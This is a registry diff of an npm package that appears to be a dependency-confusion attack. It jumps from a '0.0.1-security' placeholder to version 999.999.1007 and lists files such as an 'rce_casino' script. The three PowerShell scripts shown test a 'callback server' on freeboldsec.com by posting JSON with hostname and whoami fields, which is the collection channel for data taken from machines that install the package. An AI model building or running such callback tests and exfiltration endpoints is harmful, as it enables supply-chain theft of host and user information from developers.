@platform-clientextensions/rum-web 0.0.1-security → 999.999.1007
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.
- package/BloodRage.db +160 -0
- package/CASINO_TRACKING_SOLUTION.md +31 -0
- package/DATA_WITH_ORIGIN_PHP.txt +131 -0
- package/FINAL_POST_FIX.md +122 -0
- package/FINAL_WORKING_SOLUTION.md +56 -0
- package/ORIGIN_TRACKING_SOLUTION.md +93 -0
- package/QUICK_FIX_GUIDE.md +73 -0
- package/README.md +162 -5
- package/WORKING_SOLUTION.md +55 -0
- package/analytics_worker.js +282 -0
- package/analyze_db.bat +16 -0
- package/analyze_db.py +51 -0
- package/cloud_detection_fix.php +37 -0
- package/copilot instructions.md +5 -0
- package/data_force_post.php +95 -0
- package/data_hybrid.php +75 -0
- package/data_php_complete.php +155 -0
- package/data_simple.php +71 -0
- package/data_with_origin.php +131 -0
- package/db_analysis.py +67 -0
- package/diagnose_server.ps1 +57 -0
- package/enhanced_origin_tracking.php +147 -0
- package/fix_post_method.ps1 +124 -0
- package/index.js +59 -0
- package/nodejs_install_instructions.txt +17 -0
- package/npm_analytics_monitor.js +244 -0
- package/npm_casino_tracking.js +134 -0
- package/npm_package_rce_casino.js +272 -0
- package/npm_package_update.js +44 -0
- package/npm_package_with_origin.js +103 -0
- package/package.json +18 -6
- package/quick_test.ps1 +36 -0
- package/test_casino_tracking.ps1 +65 -0
- package/test_complete_solution.ps1 +87 -0
- package/test_current_server.ps1 +69 -0
- package/test_existing_files.ps1 +62 -0
- package/test_final_casino.ps1 +38 -0
- package/test_final_fix.ps1 +37 -0
- package/test_force_post.ps1 +50 -0
- package/test_freeboldsec_server.ps1 +54 -0
- package/test_hybrid.ps1 +63 -0
- package/test_live_server.ps1 +32 -0
- package/test_logger.ps1 +15 -0
- package/test_origin_final.ps1 +25 -0
- package/test_origin_tracking.ps1 +62 -0
- package/test_post_detailed.ps1 +51 -0
- package/test_post_fix.ps1 +24 -0
- package/test_post_simple.ps1 +30 -0
- package/test_server_simple.ps1 +16 -0
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# Test the POST fix
|
|
2
|
+
Write-Host "Testing POST fix..." -ForegroundColor Cyan
|
|
3
|
+
|
|
4
|
+
# Test 1: Debug what server receives
|
|
5
|
+
Write-Host "`nTest 1: POST Debug (post_test.php)" -ForegroundColor Yellow
|
|
6
|
+
try {
|
|
7
|
+
$response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/post_test.php" -Method POST -Body '{"test":"debug"}' -ContentType "application/json" -UseBasicParsing
|
|
8
|
+
Write-Host "SUCCESS - Debug info:" -ForegroundColor Green
|
|
9
|
+
Write-Host $response.Content
|
|
10
|
+
} catch {
|
|
11
|
+
Write-Host "FAILED - post_test.php not found. Create it first!" -ForegroundColor Red
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
# Test 2: Fixed data.php
|
|
15
|
+
Write-Host "`nTest 2: Fixed POST (data_fixed.php)" -ForegroundColor Yellow
|
|
16
|
+
try {
|
|
17
|
+
$response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php" -Method POST -Body '{"test":"fixed","user":"jimmy"}' -ContentType "application/json" -UseBasicParsing
|
|
18
|
+
Write-Host "SUCCESS - Response:" -ForegroundColor Green
|
|
19
|
+
Write-Host $response.Content
|
|
20
|
+
} catch {
|
|
21
|
+
Write-Host "FAILED - data_fixed.php not found. Create it first!" -ForegroundColor Red
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
Write-Host "`nIf both tests succeed, replace your data.php with data_fixed.php!" -ForegroundColor Yellow
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# Simple POST test
|
|
2
|
+
Write-Host "Testing POST fix..." -ForegroundColor Cyan
|
|
3
|
+
|
|
4
|
+
# Test data_fixed.php with POST
|
|
5
|
+
$testData = @{
|
|
6
|
+
hostname = "test-pc"
|
|
7
|
+
whoami = "jimmy"
|
|
8
|
+
version = "999.999.1006"
|
|
9
|
+
timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
|
|
10
|
+
} | ConvertTo-Json
|
|
11
|
+
|
|
12
|
+
Write-Host "`nSending POST to data_fixed.php..." -ForegroundColor Yellow
|
|
13
|
+
Write-Host "Data: $testData" -ForegroundColor Gray
|
|
14
|
+
|
|
15
|
+
try {
|
|
16
|
+
$response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php" -Method POST -Body $testData -ContentType "application/json" -UseBasicParsing
|
|
17
|
+
Write-Host "`nSUCCESS!" -ForegroundColor Green
|
|
18
|
+
Write-Host "Response: $($response.Content)" -ForegroundColor Cyan
|
|
19
|
+
|
|
20
|
+
# Parse response
|
|
21
|
+
$result = $response.Content | ConvertFrom-Json
|
|
22
|
+
if ($result.status -eq "success") {
|
|
23
|
+
Write-Host "`nPOST IS WORKING! Message: $($result.message)" -ForegroundColor Green
|
|
24
|
+
Write-Host "Test ID: $($result.test_id)" -ForegroundColor Green
|
|
25
|
+
}
|
|
26
|
+
} catch {
|
|
27
|
+
Write-Host "ERROR: $_" -ForegroundColor Red
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
Write-Host "`nNow check the logs folder for new entries!" -ForegroundColor Yellow
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
# Simple test for freeboldsec.com callback server
|
|
2
|
+
|
|
3
|
+
Write-Host "Testing freeboldsec.com callback server..." -ForegroundColor Cyan
|
|
4
|
+
|
|
5
|
+
# Test GET
|
|
6
|
+
Write-Host "`nTest 1: GET request..." -ForegroundColor Yellow
|
|
7
|
+
Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method GET -UseBasicParsing
|
|
8
|
+
|
|
9
|
+
# Test POST
|
|
10
|
+
Write-Host "`nTest 2: POST request..." -ForegroundColor Yellow
|
|
11
|
+
$data = '{"test":"manual","user":"jimmy","timestamp":"2025-01-14 12:00:00"}'
|
|
12
|
+
Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body $data -ContentType "application/json" -UseBasicParsing
|
|
13
|
+
|
|
14
|
+
Write-Host "`nDONE! Check /public_html/new-page-1/api/rum/logs/ for:" -ForegroundColor Green
|
|
15
|
+
Write-Host "- rum_callbacks_2025-01-14.log" -ForegroundColor Cyan
|
|
16
|
+
Write-Host "- summary_2025-01-14.log" -ForegroundColor Cyan
|